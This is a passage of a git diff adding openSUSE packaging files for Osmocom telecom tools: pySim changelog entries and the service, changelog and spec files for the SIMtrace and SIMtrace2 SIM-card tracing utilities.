+Fri Sep 13 20:02:55 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1568280107.c5b422e:
+ * Add support for automatic card handling
+ * pySim-prog: generate a pin_adm from pin_adm_hex also for CSV files
+
+-------------------------------------------------------------------
+Wed Sep 04 20:03:27 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1567534308.164b963:
+ * Add an option to read the iccid and batch-program the new card data
+ * pySim-prog: Add option for hex ADM keys
+ * pySim-prog: Use CSV format with headers
+ * pySim-prog: Print out hex-escaped pin_adm in card parameters
+
+-------------------------------------------------------------------
+Tue Sep 03 20:09:08 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1567428163.9f9c609:
+ * pysim-testdate: Add test data for Wavemobile-sim
+
+-------------------------------------------------------------------
+Mon Sep 02 20:07:52 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1567027202.23888da:
+ * make writing SMSP optional
+
+-------------------------------------------------------------------
+Thu Aug 29 20:09:35 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1567027197.67acdbc:
+ * Make programming OPC optional
+
+-------------------------------------------------------------------
+Fri May 10 20:04:01 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1557501861.35a96ed:
+ * pySim-*.py: print info about selected reader interface
+ * Don't try to parse result if select_file() failed
+ * Use reference array for reading ICCID
+ * utils: add EF [H|O]PLMNwAcT decoding.
+ * import pysim-testdata of automatic testing to this repository
+
+-------------------------------------------------------------------
+Mon Apr 08 20:04:11 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1554129228.6e507a7:
+ * wavemobile-sim: write mnc-length field ine EF.AD
+ * cosmetic: fix sourecode formatting
+ * sysmo-usim-sjs1: update EF.AD with correct MNC length
+
+-------------------------------------------------------------------
+Mon Apr 01 20:03:49 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1553187866.2d15ea0:
+ * cards: sysmo-usim-sjs1: add programming of EF.PLMNsel, EF.PLMNwAcT and EF.OPLMNwAcT
+
+-------------------------------------------------------------------
+Tue Mar 26 21:03:43 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1553185458.91f26d7:
+ * commands: correct case of a TLV tag (A5 => a5)
+
+-------------------------------------------------------------------
+Mon Nov 12 21:03:03 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1540755954.9f9f5a6:
+ * pySim-*.py: add command line option for Calypso reader
+ * pySim-*.py: refactor card reader driver initialization
+ * pySim/transport: introduce Calypso based reader interface
+
+-------------------------------------------------------------------
+Fri Oct 05 20:02:56 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1538738357.4fa8f1c:
+ * pySim-prog: Honor international '+' in SMSC number
+
+-------------------------------------------------------------------
+Wed Sep 26 20:02:57 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1537978459.0ec1475:
+ * utils: fix encoding/decoding of IMSI value
+
+-------------------------------------------------------------------
+Thu Sep 20 20:02:49 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1536824606.c555e18:
+ * tests: add example test data for Wavemobile-SIM
+
+-------------------------------------------------------------------
+Thu Sep 13 20:03:18 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1536823113.c8ce82a:
+ * cards: Add support for Wavemobile SIM
+
+-------------------------------------------------------------------
+Fri Aug 24 12:16:00 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1535013891.11a2e3c:
+ * tests: add example file for sysmosim-gr1
+
+-------------------------------------------------------------------
+Thu Aug 23 20:02:55 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1535013873.a3de5a3:
+ * cards: do not feed ascii as adm for sysmosim-gr1
+ * cards: autodetect sysmosim-gr1
+
+-------------------------------------------------------------------
+Mon Aug 20 20:02:46 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1534794874.52f59ac:
+ * readme: add 'serial' dep, cosmetically rearrange
+
+-------------------------------------------------------------------
+Wed Jul 25 20:03:07 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1532544778.fb98dd6:
+ * commands: depend on pytlv only when it is actually needed
+ * readme: add info about dependencies
+
+-------------------------------------------------------------------
+Fri Jul 20 20:02:52 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1532037060.73a0f04:
+ * add .gitreview
+ * contrib: add jenkins.sh
+
+-------------------------------------------------------------------
+Thu Jul 19 20:02:58 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1531986942.7f34085:
+ * tests: add test program to verify pysim-prog.py (and pysim-read.py)
+ * cards: return SW in method update_plmnsel() of class Card
+ * cosmetic: fix cut and paste error in comment
+
+-------------------------------------------------------------------
+Fri Jul 13 20:02:54 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1531472240.a265049:
+ * pySim-read: read contents of PLMN related files.
+ * pySim-read: Print exception when reading of EF.MSISDN fails
+ * cosmetic: fix excess space in log output (typo)
+ * cards: add update method for EF:PLMNsel to Card class
+
+-------------------------------------------------------------------
+Thu Jul 05 20:04:13 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1530705241.ac9dde6:
+ * pysim-prog: add commandline option to probe cards
+ * commands: get file/record length from FCP (USIM)
+
+-------------------------------------------------------------------
+Tue Jul 03 19:06:22 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1530623824.859e0fd:
+ * __init__: also fetch response bytes for USIMs automatically
+ * csv: fix missing import (broken CSV support)
+
+-------------------------------------------------------------------
+Mon Jun 18 18:30:29 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1529315036.d4ebb6f:
+ * __init__: allow wildcards in expected SW for send_apdu_checksw()
+
+-------------------------------------------------------------------
+Wed Jun 13 18:47:16 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1528875053.d982488:
+ * pysim-prog: also allow raw hex adm pins besides numeric ascii
+ * add support for open cells SIM cards
+
+-------------------------------------------------------------------
+Mon Feb 19 16:29:17 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1518969890.6cbecaa:
+ * transport/serial: Fix serial transport
+
+-------------------------------------------------------------------
+Sat Feb 17 19:12:58 UTC 2018 - mardnh@gmx.de
+
+- Don't use .py suffix for binaries
+
+-------------------------------------------------------------------
+Sat Feb 10 15:39:58 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1516721155.d9d2b94:
+ * Revert "pySim-prog: ADM code can be longer 8 digits, it's implementation specific."
+ * Make derive_milenage_opc and calculate_luhn publicly available through utils.py
+ * cards: Add Fairwaves SIM implementation.
+ * cards: Implement card type autodetection based on ATR.
+ * pySim-prog: Replace magic numbers with a readable EF file name.
+ * pySim-prog: ADM code can be longer 8 digits, it's implementation specific.
+ * cards: Extend Card class with access functions for some of the standard EF files.
+ * Add methods to get ATR for a card or a link.
+ * utils: Fix documentation. 3+3=6 digits equals 3 bytes, not 6
+ * utils: Functions to encode/decode EF SPN.
+ * ts_51_011: A file with MF/DF/EF constants from TS 51 011
+ * Fix comment: Ki -> OPC
+ * utils.py: dec_imsi: Fix ValueError
+ * pySim-prog.py: Fix trailing whitespace
+ * pySim-*.py: Set shebang to use python v2
+ * Support writing SMSP for sysmoUSIM-SJS1
+ * fix writing of ICCID for sysmo-usim-sjs1
+ * Fix select control parameter
+ * cosmetic: missing newlines on last line of 2 files
+ * README.md: Cosmetic/Formatting fixes
+ * Update README with general project information and convert to Markdown
+ * Revert "Do not return the FCI information while selecting a file"
+ * re-program: Instead of specifying the IMSI, read it from the card.
+- Specfile cleanup
+
+-------------------------------------------------------------------
+Sun Jul 31 18:37:09 UTC 2016 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1440070376.8c1b33c:
+ * Do not return the FCI information while selecting a file
+
+-------------------------------------------------------------------
+Mon Sep 21 09:17:58 UTC 2015 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1440070376.3e84067:
+ + split parameter writing for CSV and SQL into separate functions
+ + pySim-prog: Add mode where it can re-generate a card from CSV
+ + read_params_csv: Make sure we don't end up in endless loop
+ + Introduce a '--dry-run' option to skip actual card access
+ + Allow changing the class byte for pdu messages
+ + Add PIN-ADM argument to the command line
+ + Add provision support for sysmoUSIM-SJS1 cards
+
+-------------------------------------------------------------------
+Sun Dec 7 16:24:08 UTC 2014 - mardnh@gmx.de
+
+- specfile cleanup
+
+-------------------------------------------------------------------
+Sun Dec 07 16:22:55 UTC 2014 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1387815776.2fc205c:
+ + usim/opc: Add support to write completely random OPC
+ + usim/opc: Derive OPC from KI and OP
+ + cards: Fix comment position
+ + cards: Fix spacing according to PEP
+ + Implement setting of EF.ACC file in GrcardSim and _MagicSimBase
+ + utils: Add functions to decode IMSI and ICCID from EF raw data.
+ + Add an utility to read data from a SIM card.
+ + Move encoder functions for ICCID, IMSI and PLMN to pySim.utils for consistency.
+ + pySim-read: MISDN is not mandatory
+ + cards: sysmocom SysmoSIM-GR2 support added to cards
+
+-------------------------------------------------------------------
+Sat Nov 15 19:25:13 UTC 2014 - mardnh@gmx.de
+
+- run spec-cleaner
+- add python-pyscard to recommends
+
+-------------------------------------------------------------------
+Sun Oct 6 12:50:43 UTC 2013 - mardnh@gmx.de
+
+- initial package
+
diff --git a/rpm-local/spec/simtrace/_service b/rpm-local/spec/simtrace/_service
new file mode 100644
index 0000000..c7d56c9
--- /dev/null
+++ b/rpm-local/spec/simtrace/_service
@@ -0,0 +1,18 @@
+<services>
+ <service name="tar_scm" mode="disabled">
+ <param name="scm">git</param>
+ <param name="url">git://git.osmocom.org/simtrace</param>
+ <param name="revision">master</param>
+ <param name="versionformat">git%ct.%h</param>
+ <param name="versionprefix">0.0.0</param>
+ <param name="exclude">.git</param>
+ <param name="package-meta">no</param>
+ <param name="changesgenerate">enable</param>
+ </service>
+ <service name="recompress" mode="disabled">
+ <param name="compression">xz</param>
+ <param name="file">*.tar</param>
+ </service>
+ <service name="set_version" mode="disabled">
+ </service>
+</services>
diff --git a/rpm-local/spec/simtrace/_servicedata b/rpm-local/spec/simtrace/_servicedata
new file mode 100644
index 0000000..90b6ee4
--- /dev/null
+++ b/rpm-local/spec/simtrace/_servicedata
@@ -0,0 +1,4 @@
+<servicedata>
+<service name="tar_scm">
+ <param name="url">git://git.osmocom.org/simtrace</param>
+ <param name="changesrevision">6fde8e1c26f12069e67103ba5f69a068d78de063</param></service></servicedata> \ No newline at end of file
diff --git a/rpm-local/spec/simtrace/simtrace.changes b/rpm-local/spec/simtrace/simtrace.changes
new file mode 100644
index 0000000..e703079
--- /dev/null
+++ b/rpm-local/spec/simtrace/simtrace.changes
@@ -0,0 +1,19 @@
+-------------------------------------------------------------------
+Sun Apr 08 18:52:40 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1489787354.6fde8e1:
+ * remove second copy of mini-UICC FPC adapter
+ * add 'sysmocom' name to mini-UICC and nano-UICC adapters
+ * update README with current information + convert to Markdown
+
+-------------------------------------------------------------------
+Sat Feb 20 22:25:14 UTC 2016 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1439989371.0a53049:
+ + Add 4FF (nanoSIM) adapter
+
+-------------------------------------------------------------------
+Sun Dec 21 22:56:28 UTC 2014 - mardnh@gmx.de
+
+- intial package, version 0.0.0.git1398882456.b8d4927
+
diff --git a/rpm-local/spec/simtrace/simtrace.spec b/rpm-local/spec/simtrace/simtrace.spec
new file mode 100644
index 0000000..92915af
--- /dev/null
+++ b/rpm-local/spec/simtrace/simtrace.spec
@@ -0,0 +1,52 @@
+#
+# spec file for package simtrace
+#
+# Copyright (c) 2014, Martin Hauke <mardnh@gmx.de>
+#
+# All modifications and additions to the file contributed by third parties
+# remain the property of their copyright owners, unless otherwise agreed
+# upon. The license for this file, and modifications and additions to the
+# file, is the same license as for the pristine package itself (unless the
+# license for the pristine package is not an Open Source License, in which
+# case the license is the MIT License). An "Open Source License" is a
+# license that conforms to the Open Source Definition (Version 1.9)
+# published by the Open Source Initiative.
+
+# Please submit bugfixes or comments via http://bugs.opensuse.org/
+#
+
+Name: simtrace
+Version: 0.0.0.git1489787354.6fde8e1
+Release: 0
+Summary: Osmocom SIMtrace host utility
+License: GPL-2.0+
+Group: Productivity/Telephony/Utilities
+URL: https://osmocom.org/projects/simtrace/wiki/SIMtrace
+Source: %{name}-%{version}.tar.xz
+BuildRequires: pkgconfig
+BuildRequires: pkgconfig(libosmocore) >= 0.3.0
+BuildRequires: pkgconfig(libusb-1.0)
+
+%description
+Osmocom SIMtrace is a software and hardware system for passively tracing
+SIM-ME communication between the SIM card and the mobile phone.
+
+This package contains SIMtrace host utility.
+
+%prep
+%setup -q
+
+%build
+export CFLAGS='%{optflags} -Wno-return-type'
+make -C host %{?_smp_mflags}
+
+%install
+cd host
+%make_install
+
+%files
+%doc README.md
+%doc docs
+%{_bindir}/simtrace
+
+%changelog
diff --git a/rpm-local/spec/simtrace2/_service b/rpm-local/spec/simtrace2/_service
new file mode 100644
index 0000000..d3c8dae
--- /dev/null
+++ b/rpm-local/spec/simtrace2/_service
@@ -0,0 +1,14 @@
+<services>
+ <service name="tar_scm" mode="disabled">
+ <param name="scm">git</param>
+ <param name="url">git://git.osmocom.org/simtrace2</param>
+ <param name="versionformat">@PARENT_TAG@.@TAG_OFFSET@</param>
+ <param name="changesgenerate">enable</param>
+ </service>
+ <service name="recompress" mode="disabled">
+ <param name="compression">xz</param>
+ <param name="file">*.tar</param>
+ </service>
+ <service name="set_version" mode="disabled">
+ </service>
+</services>
diff --git a/rpm-local/spec/simtrace2/_servicedata b/rpm-local/spec/simtrace2/_servicedata
new file mode 100644
index 0000000..aacbb84
--- /dev/null
+++ b/rpm-local/spec/simtrace2/_servicedata
@@ -0,0 +1,4 @@
+<servicedata>
+<service name="tar_scm">
+ <param name="url">git://git.osmocom.org/simtrace2</param>
+ <param name="changesrevision">f46de7b70f5131d53dcc282d0145fb648736d757</param></service></servicedata> \ No newline at end of file
diff --git a/rpm-local/spec/simtrace2/simtrace2.changes b/rpm-local/spec/simtrace2/simtrace2.changes
new file mode 100644
index 0000000..8bfb975
--- /dev/null
+++ b/rpm-local/spec/simtrace2/simtrace2.changes
@@ -0,0 +1,553 @@
+-------------------------------------------------------------------
+Thu Mar 19 21:04:17 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.7.0.57:
+ * simtrace2_siff: getopt_long() returns int, not char
+
+-------------------------------------------------------------------
+Fri Mar 13 21:03:35 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.7.0.56:
+ * pio_it.c: Permit repeated calls to PIO_ConfigureIt()
+ * USBD.c: Don't reset EP0 on SetConfiguration(0)
+
+-------------------------------------------------------------------
+Wed Mar 04 21:03:33 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.7.0.54:
+ * cosmetic: Add missing CR to LF in dispatch_received_usb_msg()
+ * extend osmo_st2_cardem_inst with fields required by osmo-remsim
+
+-------------------------------------------------------------------
+Mon Mar 02 21:03:34 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.7.0.52:
+ * cardem: Fix infinite loop + watchdog reset on long OUT message
+
+-------------------------------------------------------------------
+Sun Mar 01 21:03:38 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.7.0.51:
+ * Disable interrupts during EEFC_ReadUniqueID()
+
+-------------------------------------------------------------------
+Wed Feb 26 21:04:47 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.7.0.50:
+ * simtrace2_api: Add osmo_st2_cardem_request_config()
+
+-------------------------------------------------------------------
+Fri Jan 31 21:24:00 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.7.0.49:
+ * cardem: disable upload for simtrace2
+
+-------------------------------------------------------------------
+Thu Jan 30 21:05:03 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.7.0.48:
+ * remsim: allow selecting pcsc reader number
+
+-------------------------------------------------------------------
+Sun Jan 26 21:13:09 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.7.0.47:
+ * increase ringbuffer size from 512 to 1024 bytes
+
+-------------------------------------------------------------------
+Fri Jan 17 21:13:09 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.7.0.46:
+ * host/lib/gsmtap.c: Add GPLv2 disclaimer
+ * host: Add COPYING file for host software (GPLv2)
+
+-------------------------------------------------------------------
+Thu Jan 16 21:09:21 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.7.0.44:
+ * add script to flash latest firmware
+ * DFU: add DFU application
+
+-------------------------------------------------------------------
+Sun Jan 12 21:19:03 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.7.0.42:
+ * firmware: apps/cardem/main.c: Synchronize with apps/trace/main.c
+ * firmware: move printing of welcome banner to common function print_banner()
+
+-------------------------------------------------------------------
+Wed Jan 08 21:05:56 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.7.0.40:
+ * library: Add osmo_st2_compatible_dev_idsp[]
+
+-------------------------------------------------------------------
+Fri Dec 27 21:07:20 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.7.0.39:
+ * migrate to libosmousb
+ * Update .gitignore file for host
+ * OSMO_ASSERT() on double-free or invalid pointer
+
+-------------------------------------------------------------------
+Tue Dec 17 21:05:32 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.7.0.36:
+ * [lib] apdu_dispatch: Don't print APDU state to stdout
+ * [lib] apdu_dispatch: Use DLGLOBAL and don't printf() directly
+ * jenkins.sh: Add verify_value_string_arrays_are_terminated.py
+ * firmware: Reformat value_string to pass our validation scripts
+ * simtrace2-sniff: Reformat value_string to pass our validation scripts
+ * cardem: Implement support for CEMU_FEAT_F_STATUS_IRQ
+ * cardem: Add SIMTRACE_MSGT_BD_CEMU_CONFIG
+ * cardem: Make card_emu_report_status() optionally use IRQ endpoint
+ * card_emu: Remove extraneous initialization of ch->pts.state
+ * card_emu: Remove extraneous code
+ * card_emu: Always print state names in string representation
+ * card_emu: Avoid recursive calls to card_set_state()
+
+-------------------------------------------------------------------
+Mon Dec 16 21:08:41 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.7.0.24:
+ * card_emu: Initialize PTSS state every time we start PTS
+ * host_communication: Send zero-length-packet on wMaxPacketSize
+
+-------------------------------------------------------------------
+Sun Dec 15 21:06:17 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.7.0.22:
+ * cardem: RST resets all state (including release of buffers)
+ * cardem: Move card_emu_io_statechg() calls out of interrupt context
+ * card_emu: Factor out card_handle_reset() from card_emu_init()
+ * pseudo_talloc: Increment number of buffers from 10 to 20
+ * usb_buf: Properly initialize buffered_endpoint->ep number
+ * USBD_HAL: Don't disable UDP peripheral clock on suspend
+ * usb_buf: Actually limit queue to 3 elements, not 4
+ * cardem: Fix memory leak on unsupported SIMTRACE_MSGT_DT_CEMU_CARDINSERT
+ * update copyright statement
+ * implement minimalistic talloc_report(); add 't' command on UART
+ * qmod: Document '!' and '@' commands on UART
+ * cosmetic: board_qmod: Annotate #endif with comments
+ * qmod: Don't print EEPROM operations in help when not supported
+ * usb_buf: Limit the maximum queue length to 3 elements
+ * usb_buf: count number of elements in queue
+ * more comments in host_communication.c.
+
+-------------------------------------------------------------------
+Sat Dec 14 21:05:40 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.7.0.6:
+ * Add missing CR to achieve CRLF at end of log lines
+ * Fix format string related warnings (int vs. long)
+ * stdio: Add support for %p format string (pointer address)
+
+-------------------------------------------------------------------
+Wed Dec 11 21:14:22 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.7.0.3:
+ * minor: improve trace output
+ * improve shared bootloader/application memory
+ * Makefile: add linker option showing memory usage
+
+-------------------------------------------------------------------
+Fri Dec 06 21:16:06 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.7.0.0:
+ * Build only 'reasonable' combinations of APP/MEMORY
+ * Patch actual board name into the USB iProduct string descriptor
+ * usb_strings.txt: s/SIMtrace Phone/SIMtrace Card Emulation/
+ * qmod DFU: Don't overwrite memory beyond end of usb_strings[]
+
+-------------------------------------------------------------------
+Tue Dec 03 21:03:46 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.6.1.15:
+ * DFU: restart bootloader when USB conf failed
+ * DFU: increase USB reset duration to 50 ms
+ * minor: fix typo
+
+-------------------------------------------------------------------
+Mon Dec 02 21:08:35 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.6.1.12:
+ * cardem: use simplest ATR as default ATR
+ * simtrace2-remsim: Use simplest ATR
+ * minor: ignore usbstring binary
+ * better detect VCC and nRST changes on simtrace2 board
+ * minor : fix typo in comment
+ * minor: improve debug output
+ * minor: move USB debug output from info to debug level
+ * dfu: minor: make debug output only verbose in info level
+ * minor: updated copyright years
+ * fix baudrate of 'make log'
+ * minor: fix spacing
+ * simtrace2_api: Remove dead code
+
+-------------------------------------------------------------------
+Thu Nov 28 21:18:00 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.6.2:
+ * Fix topdir Makefile and debian packaging
+ * simtrace2-sniff.c: fix printf usage
+
+-------------------------------------------------------------------
+Tue Nov 26 21:15:57 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.5.1.56:
+ * qmod: lower VCC threshold to 2.5V
+ * free USB buffer when allocation failed
+ * merge simtrace2-discovery.[ch] to libusb_util.[ch]
+ * use osmo_st2_ or osmo_ prefix for [shared] library symbols
+ * host: use autotools and split shared code to libosmo-simtrace2
+
+-------------------------------------------------------------------
+Mon Nov 25 21:09:53 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.5.1.51:
+ * remove unused function process_do_error()
+ * simtrace2-remsim: Implement/Fix the 'skip_atr' option
+ * fix typo: libisb -> libusb
+ * card_emu_tests: Cosmetic changes (re-order code; more comments)
+
+-------------------------------------------------------------------
+Tue Nov 19 21:15:22 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.5.1.47:
+ * add DFU enter override capability
+ * add serial and version info in USB description
+
+-------------------------------------------------------------------
+Fri Nov 15 21:09:26 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.5.1.45:
+ * check RST/VCC/CLK line at every step of the activation
+ * initialize VCC, RST, and VCC with actual values
+
+-------------------------------------------------------------------
+Wed Oct 30 21:04:07 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.5.1.43:
+ * firmare/test/Makefile: Fix link order
+ * Attempt to fix master-simtrace2 publish stage (missing WORKSPACE env)
+
+-------------------------------------------------------------------
+Fri Oct 25 20:05:05 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.5.1.41:
+ * add/fix mcp23017 i2c gpio expander functions and tests
+
+-------------------------------------------------------------------
+Fri Oct 04 20:03:12 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.5.1.40:
+ * define LEDs for octsimtest
+ * make LED definitions board specific
+ * hw: put board specific pin definition in corresponding file
+
+-------------------------------------------------------------------
+Mon Sep 02 20:08:17 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.5.1.37:
+ * USB: place version string in interface
+
+-------------------------------------------------------------------
+Tue Aug 13 20:09:23 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.5.1.36:
+ * disable ERASE pin
+
+-------------------------------------------------------------------
+Fri Aug 09 20:17:24 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.5.1.35:
+ * Fix builds on Ubuntu 16.04
+
+-------------------------------------------------------------------
+Thu Aug 08 21:58:04 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.5.1.34:
+ * add serial and version information in USB descriptor
+ * publish: also upload latest
+ * add new board and app for gpio testing on octsimtest board
+
+-------------------------------------------------------------------
+Sat Jul 20 20:03:50 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.5.1.31:
+ * contrib/jenkins.sh: don't delete old builds from ftp
+ * contrib/jenkins.sh: also push the .elf files to the ftp (for gdb/objdump)
+
+-------------------------------------------------------------------
+Thu Jun 20 20:35:00 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.5.1.29:
+ * firmware: name binaries including their git version number
+ * qmod: Disable hub reset and EEPROM erase/write by default
+
+-------------------------------------------------------------------
+Thu May 23 20:04:03 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.5.1.27:
+ * remove unused make define
+ * add make DEFINE to remove assert ERASE code
+ * make peer ERASE more robust
+
+-------------------------------------------------------------------
+Sun Mar 03 21:03:44 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.5.1.24:
+ * Add freq_ctr app
+ * Add minimal board-support for Olimex SAM3-P256
+
+-------------------------------------------------------------------
+Thu Oct 25 20:03:32 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.5.1.22:
+ * cardem: add more debug information for TPDU state
+
+-------------------------------------------------------------------
+Sun Oct 21 17:26:03 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.5.1.21:
+ * remsim: fix TPDU response size transmission
+ * remsim: update copyright
+ * remsim: add already parsed USB path argument info
+
+-------------------------------------------------------------------
+Sun Oct 14 07:28:35 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.5.1.18:
+ * Fix compiler warning: no-return-in-nonvoid-function simtrace2_usb.c
+
+-------------------------------------------------------------------
+Fri Oct 12 20:03:07 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.5.1.17:
+ * libusb_util.c: Avoid gcc warning about strncpy()
+
+-------------------------------------------------------------------
+Sun Sep 23 20:03:07 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.5.1.16:
+ * debian/control: Add dependency to libpcsclite-dev
+
+-------------------------------------------------------------------
+Sun Sep 09 20:03:10 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.5.1.15:
+ * owhw: set the right simtrace USB ID in usb2udp
+
+-------------------------------------------------------------------
+Fri Sep 07 20:03:16 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.5.1.14:
+ * host: clean library dependencies
+ * owhw: add missing function board_main_top
+ * owhw: add missing function board_exec_dbg_cmd
+ * minor: update copyright
+ * minor: fix typo in comment
+ * minor: add checks on configurations and functions
+
+-------------------------------------------------------------------
+Tue Sep 04 20:03:14 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.5.1.8:
+ * qmod: add LED user control
+ * EEPROM: fix Wformat compile warning
+ * qmod: output EEPROM data only on debug level, and add completion output
+ * DFU: fix Wformat compile warning
+ * stdio: fix detection of malformated format strings
+
+-------------------------------------------------------------------
+Wed Aug 29 20:03:16 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.5.1.3:
+ * stdio: add void 'l' format string qualifier
+ * UART: switch baud rate to 921600 bps
+ * set main clock for using UART at 921600 bps
+
+-------------------------------------------------------------------
+Sun Aug 26 20:03:02 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.5.1.0:
+ * tag debian release 0.5.1
+ * simtrace2-sniff: Fix build with released libosmocore versions
+ * Revert "debian/control: Depend on libosmocore >= 0.12.1"
+ * debian/control: Depend on libosmocore >= 0.12.1
+ * v0.5 debian package release
+
+-------------------------------------------------------------------
+Sun Aug 26 09:07:02 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.4.154:
+ * Add Debian packaging rules
+ * owhw: Fix cardem GPIO initialization pointer value
+ * firmware: Enable -Wformat and resolve all related compiler warnings
+ * add master Makefile to build firmware and host tools
+ * Makefiles: Add "make install" target
+ * host: Fix "make clean": remove simtrace2-sniff
+
+-------------------------------------------------------------------
+Tue Aug 07 20:03:04 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1533661285.76ef811:
+ * jenkins: add simtrace/trace to the builds
+ * jenkins: clean after upload
+ * qmod: error on EEPROM erase fail
+ * jenkins: fix publish
+ * USB: increase USB reset time
+ * qmod: Add 'e' command for erasing the EEPROM
+
+-------------------------------------------------------------------
+Mon Aug 06 20:03:27 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1533565413.8daba9c:
+ * gcc: fix warning
+ * jenkins: add build uploads
+
+-------------------------------------------------------------------
+Sun Aug 05 20:03:18 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1533374175.04ccb77:
+ * remsim: fix USB hanging USB transfer
+ * cardem (minor): trace tx data send over USB
+ * add libosmcore utilities
+ * cardem: add state name in trace
+ * cardem (minor): remove to verbose log trace
+ * cardem: minor typo fix in comment
+ * add synchronous UART transmission and use it in exceptions
+
+-------------------------------------------------------------------
+Fri Aug 03 20:03:00 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1533112555.dd36d9b:
+ * sniff: send incomplete TPDU when reset is asserted
+ * cardem: use TC2 as WI and update WT after ATR
+
+-------------------------------------------------------------------
+Mon Jul 30 20:03:06 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1532955835.8f70c3e:
+ * remsim: fix payload overwriting
+ * cardem: use TC_ETU to trigger ATR sending
+
+-------------------------------------------------------------------
+Sun Jul 29 20:03:06 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1532851111.d8ebd6a:
+ * cardem: increase watchdog to 2 seconds
+ * cardem: show detailed reset cause
+ * sniff: increase debug output
+ * sniff: fix ATR checksum calculation
+ * sniff: ensure the checksum error flag is also printed
+
+-------------------------------------------------------------------
+Fri Jul 27 20:03:19 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1532612048.8e84f81:
+ * sniff: rename reset hold/release to assert/deassert
+ * sniff: send ATR over GSMTAP
+
+-------------------------------------------------------------------
+Tue Jul 24 20:03:31 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1532419043.3528099:
+ * USB: print decoded USB error
